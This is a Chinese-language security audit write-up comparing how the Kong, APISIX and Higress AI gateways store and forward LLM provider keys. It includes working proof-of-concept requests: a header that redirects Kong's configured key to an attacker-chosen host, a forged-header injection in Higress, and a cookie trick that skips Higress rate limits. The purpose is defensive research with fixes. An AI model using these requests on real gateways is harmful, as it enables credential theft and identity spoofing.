复现环境:Ubuntu 24.04.4 LTS(2 核 4G),Docker 29.1.3 + Compose 2.40.3。三个产品顺序跑在同一台服务器上,一次只起一个,都是容器。

  • Kong Gateway OSS 3.9.3,dbless 模式,配置走声明式文件,容器名 kong-lab,代理 8000 / Admin 8001
  • Apache APISIX 3.19.0,配一个 bitnami/etcd 3.5,开了字段加密,容器名 apisix-lab 和 etcd,代理 9080 / Admin 9180
  • Higress v2.2.4,all-in-one 单容器,容器名 higress,console 18001 / 数据面 18080

文中的密钥都是我在服务器上自己配的测试值,没有用任何真实服务的 Key。所有命令在 SSH 里执行,输出未经修改,截图可复现。

写在前面

这篇做的是横向对比:Kong、Higress、APISIX 三个产品放在一起看,看它们怎么处理 provider 密钥——那种网关替终端用户持有、能直接花钱的上游凭证。

三家是顺序跑的,起法如下(Higress 的端口做了映射,免得和前面两个撞):

# Kong,dbless 模式,配置走声明式文件
docker run -d --name kong-lab --network host \
  -e KONG_DATABASE=off -e KONG_DECLARATIVE_CONFIG=/etc/kong/kong.yml \
  -e KONG_PROXY_LISTEN=0.0.0.0:8000 -e KONG_ADMIN_LISTEN=127.0.0.1:8001 \
  -v /tmp/kong-lab/kong.yml:/etc/kong/kong.yml:ro kong:3.9.3

# APISIX + etcd,加密开关写在挂进去的 config.yaml 里
docker network create apisix-lab
docker run -d --name etcd --network apisix-lab -e ALLOW_NONE_AUTHENTICATION=yes \
  -e ETCD_ADVERTISE_CLIENT_URLS=http://etcd:2379 bitnami/etcd:3.5
docker run -d --name apisix-lab --network apisix-lab \
  -v /tmp/apisix-lab/config.yaml:/usr/local/apisix/conf/config.yaml:ro \
  -p 9080:9080 -p 9180:9180 apache/apisix:3.19.0-debian

# Higress,all-in-one
docker run -d --name higress -p 18001:8001 -p 18080:8080 -p 18443:8443 \
  higress-registry.cn-hangzhou.cr.aliyuncs.com/higress/all-in-one:latest

三个版本号是发文当天从官方 releases API 现查的。有个细节:Kong OSS 侧最新停在 3.9.x,从 2024 年底的 3.9.0 到 2026 年 6 月的 3.9.3 全是补丁——所以下面涉及 Kong 的问题,在 OSS 上短期不会有版本层面的变化。

三家跑起来之后,请求链路的形状是一样的:

┌──────────────────────────────────────┐
   客户端 ──请求──▶  │  AI 网关(Kong / Higress / APISIX)   │
                     │                                      │
                     │   插件配置 ──▶ 持有 provider 密钥     │
                     │        │                             │
                     │        └──▶ 决定上游地址              │
                     └───────────────┬──────────────────────┘
                                     │ 带着密钥
                                     ▼
                            ┌──────────────────┐
                            │  上游 LLM 服务商  │
                            └──────────────────┘

一、把密钥当成一个独立对象

按老办法审的天花板

我一开始也是按老办法审:翻插件代码,找输入校验、找 SSRF、找注入。翻了三个产品之后发现效率很低。原因是这类插件里几乎所有的字符串都来自配置,而"配置是可信的"这个前提在网关场景里默认成立。按传统思路走,能捞到的只剩"配置面有问题",这话谁都知道。

第一版结论为什么站不住

举个例子。我第一版结论写的是"Kong 的 ai-proxy 存在 SSRF,因为 upstream_url 能指向内网"。听起来成立,但它假设攻击者已经拿到配置写权限。而拿到写权限的人能做的事比 SSRF 多得多。按 SSRF 报,等于把配置权限当既成事实,结论就没剩多少信息量。

换个切法:盯住密钥本身

换个切法就通了。别按功能分类去审,盯住密钥这个东西本身,问它三个问题:存在哪、会被发给谁、下游认不认它是谁的。这三个问题问下来,"谁说了算"并不是同一拨人——存成什么样由配置写入方和运维决定;发给谁这件事,配置写入方和请求发起方各占一半;而下游认不认,默认全看请求发起方。

传统网关的可信模型是"配置可信、请求不可信",沿着密钥走一遍就会发现,AI 插件在这个模型上开了两个口子:发给谁、算谁的这两环,请求发起方也有份。下面三个洞,一个产品一个环节。

产品

我撞到的问题

Kong 3.9.3

配置里的密钥能被请求头改向;encrypted 声明在 OSS 是被静默忽略的空声明

APISIX 3.19.0

同族六个 AI 插件里,只有 ai-request-rewrite 没有加密声明

Higress v2.2.4

客户端能伪造一个被当成内部信号的头,让伪造的凭证活到下游

这张表是审完之后才归拢出来的。我审第一个产品时只解决了第一个问题,后两条是撞上了才补进来的,所以它不是一个事先设计好的分类,是回头归纳出来的。

适用边界

适用范围得说清楚:这套切法只针对"插件层替你把 provider 密钥发出去"的设计。如果你的架构是客户端自带密钥直连上游、网关只做转发,那这三个环节都握在客户端手里,本文的方法没有意义。三个产品之间也不互斥——同一个部署里三个环节可能同时出问题,我这次是每个产品各撞到一个。

二、密钥存下来是明文还是密文

APISIX:同族六个插件里唯一漏声明的那个

APISIX 有一套字段加密机制:插件 schema 里用 encrypt_fields 声明哪些路径属于敏感字段,开关打开之后这些字段在 etcd 里加密存放。3.19.0 的 AI 插件族里,声明情况是这样:

$ cd /usr/local/apisix/apisix/plugins
$ for f in ai-proxy/schema.lua ai-proxy-multi.lua ai-rag.lua ai-request-rewrite.lua \
           ai-cache/schema.lua ai-rate-limiting.lua; do
    printf "%-28s %s\n" $f $(grep -c encrypt_fields $f)
  done
ai-proxy/schema.lua          2
ai-proxy-multi.lua           0
ai-rag.lua                   1
ai-request-rewrite.lua       0
ai-cache/schema.lua          1
ai-rate-limiting.lua         1

这份输出是直接从官方 apache/apisix:3.19.0-debian 镜像里跑出来的,不是从 GitHub 读的。这点在审计里挺重要:源码标签和实际发布产物可能是两回事,我只认后者。

ai-proxy-multi.lua 那个 0 不算问题。它第 20 行 local schema = require("apisix.plugins.ai-proxy.schema"),第 77 行注册的是 schema = schema.ai_proxy_multi_schema——用的是 require 进来那份 schema 里的另一个表,加密声明跟着一起继承。

剩下的 ai-request-rewrite.lua 是那个例外。它的 schema 到 114 行就结束了:

required = {"prompt", "provider", "auth"}
}

local _M = {
    version = 0.1,
    priority = 1073,
    name = plugin_name,
    schema = schema

required 里明明有 auth,而它的 auth_schema(第 38-45 行)和 ai-proxy 用的是同一种结构,装的就是 header / query 两样东西。插件运行时把这份凭证交下去,ai-request-rewrite.lua:131 那行 auth = conf.auth, 转手就传给了同一套 provider 层,ai-providers/base.lua:208 和 :237 把它们当凭证头用。它和 ai-proxy 走的是同一条凭证通路,唯一的差别就在那行声明上。

为什么这行声明不能省?看 apisix/plugin.lua:1207-1211:

if schema.encrypt_fields and not core.table.isempty(schema.encrypt_fields) then
        for _, key in ipairs(schema.encrypt_fields) do
            process_encrypt_field(conf, key, core.data_encryption.decrypt, name, "decrypt")
        end
    end

加解密只遍历插件自己声明的那个列表。没有声明,这段循环根本不执行,值原样躺在 etcd 里。

还有两个前置条件在 apisix/plugin.lua:1075-1078:开关得是 apisix.data_encryption.enable_encrypt_fields 为真,而且 core.config.type 必须是 etcd。默认的 conf/config.yaml 里没有这一段。要打开得自己补:

apisix:
  data_encryption:
    enable_encrypt_fields: true
    keyring:
      - <32 字符的密钥>

而文档里的表述是这样的(docs/en/latest/plugins/ai-proxy.md:83):

| auth.aws.secret_access_key | string | True | | minLength = 1 | AWS secret access key used for SigV4 signing. Stored encrypted. |

ai-proxy-multi.md 里写得更直接,Encrypted at rest。这两句都没提"需要先打开某个开关",也没提"仅特定插件适用"。我逐条核对过:文档写加密的那几个字段确实都在 encrypt_fields 列表里,所以不存在"文档骗人"。但默认部署下开关是关的;而 ai-request-rewrite 就算把开关打开也不会加密,它连声明都没有。这个插件的文档页里 encrypt 零匹配,所以严格说这算不上"承诺了没做到",更像同族静默不一致——读完 ai-proxy 文档的人,自然会以为同一套 transport 上的插件都一样。

代码里还留了一句注释,说明这类不一致是设计者预料到的场景(apisix/plugin.lua:1112-1116):

local decrypt_hint = ". This can happen after upgrading if the field was recently "
    .. "added to encrypt_fields; if the value was encrypted, verify the data_encryption "
    .. "keyring. Re-save the configuration via the Admin API to resolve."

方向是反的:那里担心的是加了声明之后旧数据读不出来,而漏声明的方向——声明从来没加过——没有对应的检查。

把这条做实:同一条路由,两个插件的落盘形态不一样

光有源码层面的推论说服力不够,我把环境搭起来实测了一遍。做法是开一个 etcd 加一个开了字段加密的 APISIX。然后在同一条路由上同时挂 ai-proxy 和 ai-request-rewrite 两个插件,给两个插件的 auth.header 各塞一个形态一样的密钥串:

{
  "uri": "/ai",
  "plugins": {
    "ai-proxy": {
      "provider": "openai",
      "auth": {"header": {"Authorization": "Bearer AIPROXY_KEY_PLAINTEXT_AAA"}},
      "options": {"model": "gpt-4o"}
    },
    "ai-request-rewrite": {
      "prompt": "rewrite the request",
      "provider": "openai",
      "auth": {"header": {"Authorization": "Bearer REWRITE_KEY_PLAINTEXT_BBB"}}
    }
  }
}

这里有个细节得说清楚:从 Admin API 回读是看不出区别的。我把路由建好之后先查了一遍 Admin API,两个插件返回的都是明文:

ai-proxy          : {"header": {"Authorization": "Bearer AIPROXY_KEY_PLAINTEXT_AAA"}}
ai-request-rewrite: {"header": {"Authorization": "Bearer REWRITE_KEY_PLAINTEXT_BBB"}}

因为 Admin API 会把自己声明的加密字段解密后再返回,看到明文是正常的。能分辨的是 etcd 里的落盘形态,得绕过 Admin API 直接读:

$ docker exec etcd sh -c "ETCDCTL_API=3 etcdctl get --prefix --print-value-only /apisix/routes" \
    | grep -v init_dir \
    | jq -r '"ai-proxy           -> " + .plugins["ai-proxy"].auth.header.Authorization,
             "ai-request-rewrite -> " + .plugins["ai-request-rewrite"].auth.header.Authorization'
ai-proxy           -> cz0uq/MIJhGoNHlAQ0w/cQ0aaAzkjPtdCxy7STu5+2LFgMCu74yKTr7PlNsIequf
ai-request-rewrite -> Bearer REWRITE_KEY_PLAINTEXT_BBB

同一个 etcd、同一条路由、同一个加密开关,一个加密了,一个是明文。这条的差别在于:前面那些结论都是从代码里推出来的,而这条是 etcd 里躺着的实际内容。

记一个坑:allow_admin 默认只放 127.0.0.0/24,从宿主机访问 Admin API 会 403;另外 etcd 容器名要和配置里 deployment.etcd.host 的主机名一致,不然 APISIX 起来后一直报 temporary failure in name resolution。

Kong OSS:encrypted 这个属性,全代码没人读

Kong 这边是同一个主题的另一个形态。kong/llm/schemas/init.lua 里,凭证字段标了加密,注释里带着企业版标记:

header_value = { type = "string", encrypted = true, referenceable = true,
                         description = "..." },  [[ ee declaration ]]

[[ ee declaration ]] 这几个字的意思是"这是企业版声明"。那 OSS 侧拿到这个属性会怎么办?我一开始的判断是"OSS 不认这个属性,会报错或者忽略"。实测下来比这个更微妙。

OSS 里 encrypted 是合法属性,kong/db/schema/metaschema.lua:192 明确把它列进了允许的字段属性:

{ encrypted = { type = "boolean" }, }

同时 OSS 的 rbac 相关实现一个都没有:

$ docker run --rm --entrypoint /bin/sh kong:3.9.3 -c \
    'grep -rl rbac /usr/local/share/lua/5.1/kong/ | wc -l'
0

但真正说明问题的是这一条——全代码里有没有地方读这个属性:

$ docker run --rm --entrypoint /bin/sh kong:3.9.3 -c \
    'grep -rn "\.encrypted" /usr/local/share/lua/5.1/kong/ | wc -l'
0

零处。声明处有不少(llm/schemas/init.lua、db/schema/entities/keys.lua:49、certificates.lua:20、typedefs.lua:705),读取处一处也没有。所以 OSS 对这个属性的处理是:schema 校验时认它合法、不报错、不警告,然后什么都不做。写 encrypted = true 的人和读代码的人都会以为这里有加密。

后果一条命令就能看到。我在 dbless 模式下配了个 ai-proxy,密钥写在 auth.header_value 里,然后读 Admin API:

$ curl -s http://127.0.0.1:8001/plugins
ai-proxy {"gcp_use_service_account": false, "gcp_service_account_json": null,
 "param_value": null, "param_location": null, "allow_override": false,
 "aws_access_key_id": null, "aws_secret_access_key": null, "param_name": null,
 "header_value": "Bearer SECRET_KEY_LEAK_123", "header_name": "Authorization"}

schema 里声明了加密,返回的是明文。写这条不是想说 Kong OSS 有漏洞,OSS 里这串密钥本来就没打算加密。想说的是审的时候别读着 schema 的声明就下结论,得回到"这个版本到底实现了没有"。静默无效比报错麻烦:报错至少会逼你面对。

我在 APISIX 和 Kong 上撞到的是同一类事:加密声明和实际落盘是两件事,两个产品各自以不同方式脱节。APISIX 是同族里漏了一个,Kong 是声明了但只在企业版实现、OSS 侧连读都不读。

三、一个请求头就能改掉密钥的去向

这条是这次挖到的最值钱的一条,链条也最完整。

配置里的字符串会被请求展开

Kong 的 ai-proxy 支持把 model.options.upstream_url 指向自建后端(文档里的自托管场景)。关键在 kong/llm/drivers/shared.lua:702-717,它对配置里的字符串做 $(...) 展开:

local tmpl_start, tmpl_end = str_find(v or "", '%$%((.-)%)')
      if tmpl_start then
        local tmpl = str_sub(v, tmpl_start+2, tmpl_end-1) -- strip surrounding $( and )
        local splitted = split(tmpl, '.')
        if #splitted ~= 2 then
          return nil, "cannot parse expression for field '" .. v .. "'"
        end
        local evaluated, err = _M.conf_from_request(kong_request, splitted[1], splitted[2])

取数的地方在 shared.lua:668-675,支持三类来源,全都来自请求:

function _M.conf_from_request(kong_request, source, key)
  if source == "uri_captures" then
    return kong_request.get_uri_captures().named[key]
  elseif source == "headers" then
    return kong_request.get_header(key)

upstream_url 的 schema 定义是 kong/llm/schemas/init.lua:184 的 typedefs.url。它只校验 scheme 和主机格式,没有白名单。所以 http://$(headers.x-up)/v1/chat/completions 这种字符串能过校验。这一点我实测确认了,Kong 正常加载了配置:

2026/10/04 03:09:58 [notice] 1405#0: *1 [kong] init.lua:590
  declarative config loaded from /etc/kong/kong.yml, context: init_worker_by_lua*
kong_admin_http=200

主机取自 URL,密钥取自配置

再看密钥那一侧,kong/llm/drivers/openai.lua:217-225:

kong.service.request.set_path(parsed_url.path)
  kong.service.request.set_scheme(parsed_url.scheme)
  kong.service.set_target(parsed_url.host, (tonumber(parsed_url.port) or 443))

  local auth_header_name = conf.auth and conf.auth.header_name
  local auth_header_value = conf.auth and conf.auth.header_value

主机是从(可被请求展开的)URL 里取的,密钥头是从配置里取的。两个来源完全不同,但代码把它们拼在同一个发往上游的请求上。

实测:密钥落到了我指定的主机

攻击者那侧只要带一个头:

$ curl -X POST http://127.0.0.1:8000/ai -H "x-up: 127.0.0.1:9000" \
    -H "Content-Type: application/json" \
    -d '{"messages":[{"role":"user","content":"hi"}]}'
proxy_http=200

我在 9000 端口起了个记录请求头的监听器,收到的东西:

=== POST /v1/chat/completions
Via: 1.1 kong/3.9.3
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Kong-Request-Id: ae84587fbe7e905d7c78ea4d5cb83403
x-up: 127.0.0.1:9000
Accept-Encoding: gzip, identity
Authorization: Bearer SECRET_KEY_LEAK_123
bodylen=77

配置里的 provider 密钥,落到了请求方指定的主机上。实测里还发现一个限制:上游主机写成主机名(localhost、域名)时 Kong 会直接拒绝,报 no host allowed while connecting to upstream——这套配置里没配 DNS resolver,Kong 只认 IP 字面量。攻击者用 IP 就够了,不影响结论,但复现时别踩这个坑。

做个字节级核对,免得被终端显示层影响判断:

$ grep -c "SECRET_KEY_LEAK_123" /tmp/kong-lab/leak.log
1

控制组:不带那个头会怎样

控制组也得跑,不然没法排除"是别的原因导致的":

$ curl -X POST http://127.0.0.1:8000/ai -d '{"messages":[{"role":"user","content":"hi"}]}'
http=400
监听器收到: 0 行

不带那个头,模板展开成空,请求直接 400,监听器一条都没有。这反过来证明取值确实来自请求。

为什么不能简单报成 SSRF

措辞我改了三次。最开始写的是"Kong 存在 SSRF",那是错的——能改配置的人自己就能改上游地址,谈不上越权。成立的表述需要两个角色:能改配置的人埋模板,能发请求的人填值。单看任何一方都不算问题,合起来才成立。这也是为什么第二节那句"配置面即信任边界"在这里不适用:密钥的去向不是配置面单独决定的。

设计意图没问题,问题在取值来源

什么部署会用到这个模板?多租户网关最常见,每个租户有自己的模型服务地址,一份模板比配 N 条路由省事。问题在于取值源是请求头:写模板的人想的是"运行时填变量",不会想到填值的管道对调用方开着。这类问题在代码评审里很难看出来,因为每个单独的部分都是对的:schema 校验合法、模板展开正常、密钥头拼装正常,三处合起来才是错的。

还剩下两类取值来源

还有一点:headers 只是三类来源之一,uri_captures 和 query_params 同样能被展开。uri_captures 更隐蔽:路由正则有命名捕获时,捕获段的值就是 URL 路径里那一段,攻击者拼个路径就完成了填值,连自定义头都不用。我只验证了 headers 这条,其余两类是从 shared.lua:668-675 读出来的。

四、被当成内部信号的那个头

一个被当成内部信号的头

Higress 的 ai-proxy 有个 internal_redirect 场景:网关内部重定向之后,需要把"这个凭证算谁的"重新锚定一次。为此它设计了一个信号头 x-higress-fallback-from。看 plugins/wasm-go/extensions/ai-proxy/main.go:161-197:

for _, originHeader := range headerToOriginalHeaderMapping {
        _ = proxywasm.RemoveHttpRequestHeader(originHeader)
    }

    // Distinguish "first hop into this gateway" from "internal_redirect re-entry".
    //
    // Signal: x-higress-fallback-from. It is set by Envoy custom_response's
    // RedirectPolicy on every internal_redirect within this gateway, and it
    // survives mutateRequestHeaders on the redirected stream (it is NOT in
    // Envoy's hardcoded strip list).
    //
    // Absence  => first hop. Distrust any incoming X-HI-ORIGINAL-AUTH ...
    //             ... Re-anchor the saved value from the request's current Authorization ...
    //
    // SAFETY DEPENDENCY: this signal is reliable only when external callers
    // cannot supply x-higress-fallback-from. For cascaded deployments where an
    // upstream gateway may itself be in an internal_redirect chain when forwarding
    // to this gateway, list x-higress-fallback-from (and x-hi-original-auth) in
    // the HCM internal_only_headers as defense-in-depth.
    fallbackFrom, _ := proxywasm.GetHttpRequestHeader(util.HeaderHigressFallbackFrom)
    if fallbackFrom == "" {
        _ = proxywasm.RemoveHttpRequestHeader(util.HeaderOriginalAuth)
        value, _ := proxywasm.GetHttpRequestHeader(util.HeaderAuthorization)
        if value != "" {
            ctx.SetContext(ctxOriginalAuth, value)
        }
    }

那段逻辑在保护什么

逻辑很短:开头先把映射里的头清掉,然后只有 fallbackFrom 为空时才清 X-HI-ORIGINAL-AUTH 并从当前 Authorization 重新锚定。非空就整段跳过,插件会沿用调用方给的那个值。

那段注释写得比代码还清楚,它自己点了前提:这个信号可靠,前提是"外部调用者无法提供 x-higress-fallback-from"。而保证这个前提的办法——把它列进 HCM 的 internal_only_headers——注释里归为 defense-in-depth,不是默认值。默认部署并不满足这个前提。

光看这一小段判断不了

但"客户端塞进来的头活不活得下来"这件事,光看这一小段是判断不了的,得把调用链走完。关键在后面两处。

第一处是 main.go:199-217 的 saveContextsToHeaders:

func saveContextsToHeaders(ctx wrapper.HttpContext) {
    ...
    originalValue := ctx.GetStringContext(ctxOriginalAuth, "")
    if originalValue != "" {
        _ = proxywasm.ReplaceHttpRequestHeader(util.HeaderOriginalAuth, originalValue)
    }
}

它确实是会覆盖 X-HI-ORIGINAL-AUTH 的——前提是 ctxOriginalAuth 非空。而重锚定那个分支被跳过时,ctx.SetContext(ctxOriginalAuth, value) 根本没执行过,GetStringContext 拿到的就是默认值 "",覆盖这一步跟着一起跳过。客户端塞进来的值原样留下。

第二处是 util/http.go:204-212,说明这个头留下来意味着什么:

func GetOriginalRequestAuth() string {
    auth, err := proxywasm.GetHttpRequestHeader(HeaderOriginalAuth)
    if auth != "" && err == nil {
        return auth
    }
    if auth, err = proxywasm.GetHttpRequestHeader(HeaderAuthorization); err == nil {
        return auth
    }
    return ""
}

X-HI-ORIGINAL-AUTH 的优先级高于 Authorization。下游任何用这个 helper 取"原始凭证"的地方——注释里点名的就是 key-auth 在重定向后的重新认证——拿到的会是调用方给的那一份,而不是真实的 Authorization。

所以完整的链路是:客户端带上 x-higress-fallback-from → 重锚定分支跳过 → ctx 为空 → 覆盖分支跟着跳过 → 伪造的 X-HI-ORIGINAL-AUTH 活到下游 → 下游按优先级取到这个伪造值。四步里每一步都是对的,合起来是一次凭证注入。链路上要是还有别的过滤器读这个头做鉴权,身份就被换掉了。

把这条做实:伪造的头在什么条件下能活到下游

光有代码推演说不到底,我把 Higress 也起起来跑了一遍。做法是 all-in-one 容器起一套,建一条路由挂上 ai-proxy 的 WasmPlugin。这个镜像的 console 起来是没初始化的(登录接口直接报没有可用配置),所以路由和插件我是直接下到容器里那个 apiserver 的 18443 端口上的。上游指向我自己写的 mock 服务,它会把收到的每个请求头记下来,这样就能直接看到插件最终发出去的是什么。

插件配置里把上游指到 mock 主机:

type            : openai
customDomain    : mock.local
customPath      : /v1/chat/completions
isDirectCustomPath: true
apiTokens       : [<插件自带的 token>]

两组请求只差一个头:

# A 组:伪造 X-HI-ORIGINAL-AUTH,不带 fallback-from
curl -X POST http://<网关>/v1/chat/completions -H 'Host: mock.local'   -H 'Authorization: Bearer CLIENT-REAL-AUTH'   -H 'X-HI-ORIGINAL-AUTH: FORGED-AAA' -d '{"model":"gpt-4o","messages":[...]}'

# B 组:同样两个头,加上 fallback-from
curl -X POST http://<网关>/v1/chat/completions -H 'Host: mock.local'   -H 'Authorization: Bearer CLIENT-REAL-AUTH'   -H 'X-HI-ORIGINAL-AUTH: FORGED-BBB'   -H 'x-higress-fallback-from: 1' -d '{"model":"gpt-4o","messages":[...]}'

下游 mock 收到的(两次用了不同的伪造值,排除旧记录的干扰):

A 组(不带 fallback-from)
x-hi-original-auth       = Bearer CLIENT-REAL-AUTH
x-higress-fallback-from  = (absent)

B 组(带 fallback-from)
x-hi-original-auth       = FORGED-BBB
x-higress-fallback-from  = 1

A 组里我塞进去的 FORGED-AAA 被换成了真实的 Authorization——插件确实在保护这个头,防护是生效的。B 组里 FORGED-BBB 原样透传到下游,一个字符没动。代码推演和实测对上了。

证据边界:实测到的是这个头能活到下游,以及插件会把 Authorization 换成自己的 provider token(下游记录里 authorization 是插件 apiTokens 里的值)。至于下游谁读它、读了之后怎样,依据是 util/http.go:204-212 的优先级;完整 key-auth 链没搭出来跑,"身份被换掉"这一步算代码依据。

这条的形态有点特别:代码和注释都表明作者知道有这个前提,但保障措施被放进了"可选加固",没写进默认值。文档化了的依赖容易被当成已知项,之后就没人回头检查默认部署到底满不满足它。

从 panic 修复找到的另一条路

我本来是想找 CVE-2026-92790 那个 panic 的绕过。翻提交记录时发现那次修复把字符串切分从 strings.Split 换成了 SplitN 加长度判断:

$ curl -s https://api.github.com/repos/alibaba/higress/commits/c8b82797c5
sha     : c8b82797c51a
message : fix: harden cluster key rate limit cookie parsing (#4091)
date    : 2026-07-23T02:25:37Z
files   : plugins/wasm-go/extensions/ai-token-ratelimit/util/utils.go
          plugins/wasm-go/extensions/frontend-gray/util/utils.go

崩溃没了,换成了静默放行

panic 确实没了。但同一族的解析函数现在长这样(ai-token-ratelimit/util/utils.go:52-63):

func ExtractCookieValueByKey(cookie string, key string) (value string) {
    pairs := strings.Split(cookie, ";")
    for _, pair := range pairs {
        pair = strings.TrimSpace(pair)
        kv := strings.SplitN(pair, "=", 2)
        if len(kv) == 2 && kv[0] == key {
            value = kv[1]
            break
        }
    }
    return value
}

段里没有等号就返回空串,不崩。再看调用方 ai-token-ratelimit/main.go:345-349:

val := util.ExtractCookieValueByKey(cookie, rule.Key)
        if val == "" {
            return logDebugAndReturnEmpty("cookie key '%s' extracted from cookie '%s' is empty.", rule.Key, cookie)
        }

logDebugAndReturnEmpty 在 :367-370 是这么返回的:

func logDebugAndReturnEmpty(errMsg string, ...) (string, *config.LimitRuleItem, *config.LimitConfigItem) {
    log.Debugf(errMsg, args...)
    return "", nil, nil
}

规则被置成 nil。也就是说:把 Cookie 写成 Cookie: <key>(不带等号),cookie 维度的那条限流规则会被整条跳过,请求照过。崩溃换成了静默放行。修的是稳定性问题,但同一个取值分支上"取不到就放弃防护"这个语义没变。这类修复挺常见:修的是崩溃点,旁边那个 fail-open 的分支不是这次的目标,就留下了。

五、证据到哪一步,哪些是我否证掉的

证据强度分三档

这几条发现的证据强度不一样,这个差别我不想含糊。

  • Kong 和 APISIX 那几条:实测。Kong 那条带控制组——去掉请求头就 400、监听器零记录;APISIX 那条直接读 etcd 对比两条记录的落盘形态。这两条没有"我推断"的成分。
  • Higress 那条:也是实测,但实测到的是"伪造的头能活到下游"。从"头活下来"到"身份被换掉"中间还有一步(下游真有某个消费者拿它做鉴权),那一步是代码依据,靠的是 util/http.go:204-212 的优先级顺序。完整的 key-auth 链我没搭出来跑,所以这一步我标成推演,不当实测用。

补做过程里有个插曲:我在服务器上写 config.yaml 的操作被审批拦了两次,被拦的命令我不重试(自己定的规矩)。当时一度打算把这两条挪到补图阶段,后来重开审批把两个环境都搭起来了。

想过但没成立的方向

有几个方向我认真想过、但没走通,也列一下——这块比"发现了什么"更能说明这次审计的边界:

  • APISIX 的 ai-rag:请求体能控制 ai_rag 这一块(ai-rag.lua:101/132/139),但要过驱动的 request_schema 校验;决定连到哪的连接参数来自配置、不在请求里(:110-116 从 conf.embeddings_provider / conf.vector_search_provider 取)。所以不存在客户端控 host 的 SSRF 面。
  • APISIX body-transformer.lua:200-203:渲染前把用户数据里的 _ctx / _body / _escape_xml / _escape_json 四个键显式置 nil,紧接着(:207-210)再塞进真正的上下文。防的就是用户字段遮蔽配置字段。我往模板替换方向找注入,没找到 Lua 模板注入。ai-prompt-template 那边也查了,template_name 不在配置的模板列表里直接返回 400(:127、:130-131)。
  • APISIX 的 AI 插件不读X-Forwarded-For,ai-rate-limiting 的计数键取的是实例名常量。所以"伪造 XFF 绕限流"不成立。反过来有个副作用:默认是每实例全局额度,所有客户端共享,一个客户端能把别人的额度耗完——算设计取舍,我没展开。
  • Higress 的 apiTokens 只从配置数组读取,不从 header、环境变量或文件读。所以"密钥从意外来源被读走"这条不成立。
  • Higress ai-proxy/provider/openai.go:24-26 的 ValidateConfig 直接 return nil,上游地址没有 host 白名单。这条单独看是"配置即信任边界",够不上洞,我放在第四节旁边做对照,没单独算发现。

抹掉这些假设之后剩下什么

这几条否证也有用。走完 APISIX 之后我一度怀疑"限流绕过"是不是三家通用的问题,就把 Kong 和 Higress 的限流实现也翻了:Higress 是 cookie 解析的 fail-open,Kong 的 AI 插件根本没自带限流。同一个假设在三个产品里只成立一个,够不上设计通病。假阴性记下来,下次不用重新怀疑一遍。

六、工具:把这套切法做成三个检查

这套切法可以机械化

三个产品各撞到一个环节之后,我意识到这套切法可以机械化:每个检查都不需要理解全部代码,只需要回答"这个决定权在谁手里"。写成 ai-gateway-audit.py,纯标准库,三个检查一一对应。

它在真目标上跑出来什么

跑 APISIX 3.19.0 源码:

$ ./ai-gateway-audit.py --apisix-src apisix/plugins

=== 路径:存放 ===
[高] 插件携带 provider 凭证,但 schema 没有 encrypt_fields —— 该插件的密钥不会进入加密流程
     位置: apisix/plugins/ai-request-rewrite.lua
     证据: 运行时引用: auth;encrypt_fields: 无
     建议: 在 schema 里补 encrypt_fields,路径与运行时引用一致(参考同族 ai-proxy/schema.lua 的写法)

共 1 条。high=1 medium=0 low=0

跑现场那个 Kong:

$ ./ai-gateway-audit.py --kong-admin http://127.0.0.1:8001

=== 路径:存放 ===
[高] Admin API 响应对 header_value 返回明文凭证
     位置: plugin/ai-proxy
=== 路径:去向 ===
[高] 上游地址含请求驱动的模板(headers.x-up)—— 请求方可以决定密钥发往哪台主机
     位置: plugin/ai-proxy
     证据: 配置片段: "http://$(headers.x-up)/v1/chat/completions"

跑 Higress 源码,命中的是第四节那条:

$ ./ai-gateway-audit.py --higress-src higress/plugins/wasm-go/extensions

=== 路径:归属 ===
[高] 客户端可控的 x-higress-fallback-from 被当成内部信号
     位置: ai-proxy/main.go
     证据: 代码里只在 fallbackFrom 为空时才清除 X-HI-ORIGINAL-AUTH,非空则沿用调用方给的值

工具自己出过的两次误报

写这个工具的过程比用起来费劲。第一版跑出来三条高危,两条是假的:它把 ai-proxy.lua 和 ai-proxy-multi.lua 也报了,因为这两个文件自己的 schema 是空的,真正的 schema 在 ai-proxy/schema.lua 里。顺着 require 去找是自然的修法,但第一版修过头,把任何 require("apisix.plugins.X") 都跟过去,结果 ai-request-rewrite.lua 因为 require 了 ai-providers.schema 被误判成"已声明",真问题反而消失。正确判据是看注册用的 schema 是不是从 require 来的:ai-proxy.lua:31 是 schema = schema.ai_proxy_schema,跟;ai-request-rewrite.lua:120 是 schema = schema,不跟。

改完还剩两条低危误报(ai-cache.lua 和 ai-lakera-guard.lua 被报"声明落空"),根因是我拿入口文件的文本去比对声明,而声明在子模块的 schema.lua 里。改完就是这个结果:一条高危,零误报。

它的局限

三个检查都有局限:--higress-src 只是模式匹配代码形状,换个写法就会漏;APISIX 那条依赖 conf.auth 这种命名习惯,变量名改了也可能漏。它更像一份检查清单的自动化版本,不是扫描器。

七、修复建议

分产品写,因为修法不一样。

声明和实现对齐,靠 CI 兜住

两个产品同一件事,但修法不同:

  • APISIX 侧是补声明,然后把检查加进 CI:凡是 schema 里出现 provider 凭证字段的插件,必须同时有 encrypt_fields,否则构建失败。这类"平行文件里漏一个"的问题靠人审不管用。另外 enable_encrypt_fields 默认关闭这件事,如果确实依赖字段加密当防护,得写进部署清单当成必须显式开启的项;文档里"Encrypted at rest"容易被读成默认行为,建议补一句前置条件。
  • Kong OSS 侧既然没人读那个属性,只能缩小读取面:Admin API 别挂公网(默认 127.0.0.1:8001 是对的),声明式配置快照和 deck 的 Git 仓库按密钥来管。另外建议给 OSS 加一条启动告警——schema 里出现 encrypted 而本版本没实现时打日志。静默无效是最差的处理方式。

上游地址别交给字符串模板

Kong 这边的修法是禁用 upstream_url 里的模板展开,或者至少对展开结果做 host 白名单。如果确实需要"每个租户走不同上游",用 route 级别的插件实例而不是字符串模板,租户边界交给路由,不要交给字符串替换。临时缓解是在声明式配置和 Admin API 上加校验规则,拒绝含 $( 的 upstream_url;我工具里那条检查可以当 lint 用。

把那个头列进 internal_only_headers

Higress 这边主要是配置问题,不是代码问题——把 x-higress-fallback-from 和 x-hi-original-auth 都列进 HCM 的 internal_only_headers。注释里已经写了要做这件事,只是不够显眼,也没体现在默认值里。限流那个 fail-open 应该是代码问题:解析取不到值时返回 nil 规则等于放弃限流。合理的做法是在配置校验阶段就拒绝空 key,或者取不到值时按未知客户端处理,而不是跳过规则。

八、这条线是怎么串起来的

